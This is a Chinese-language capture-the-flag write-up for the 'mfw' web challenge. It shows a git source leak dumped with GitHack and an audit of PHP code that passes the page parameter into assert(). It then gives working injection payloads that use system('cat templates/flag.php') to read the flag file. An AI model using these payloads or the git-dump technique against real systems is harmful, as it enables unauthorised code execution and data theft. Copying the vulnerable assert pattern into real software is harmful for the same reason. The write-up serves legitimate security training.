攻防世界26-mfw-CTFWeb

本文参考:

WEB安全-常见源码泄露 | wh1te (lddp.github.io)

首先瞎点发现,可能存在git源码泄露问题,尝试.git访问,源码中也有按时page=flag,但访问无果

image-20241018212041007

image-20241018213740613

[My PHP Website](http://xx:xxx/.git)

下载工具githack,可以把整个.git 备份的文件下载下

在目录下打开cmd python GitHack.py http://61.147.171.105:64160/.git/

下载源码,审计源码(templates下的flag文件的flag被注释了)

<?php

if (isset($_GET['page'])){
    $page = $_GET['page'];
}else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert函数:

assert ( mixed $assertion [, string $description ] ) : bool

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动

or 操作符:如果 assert(abc) 结果为 false,PHP 会继续执行 or 右侧的 de

比如输入的包含..,那就是flase==false,就是true,不执行后面的代码

代码中过滤了..

看看assert上能不能操作

尝试一下

?page=aa') or phpinfo();//

也就是

assert("strpos('templates/aa') or phpinfo();//.php', '..') === false")

我们从源码得知,肯定没有aa这个文件,因此它会执行or函数后面的phpinfo,再把//后面的.php注释掉

image-20241018221239565

http://61.147.171.105:64160/?page=aa') or system('cat templates/flag.php');//

可以执行,看源码

image-20241018221357567

payload: ?page=').system("cat templates/flag.php");//

这样好像也行,时链式执行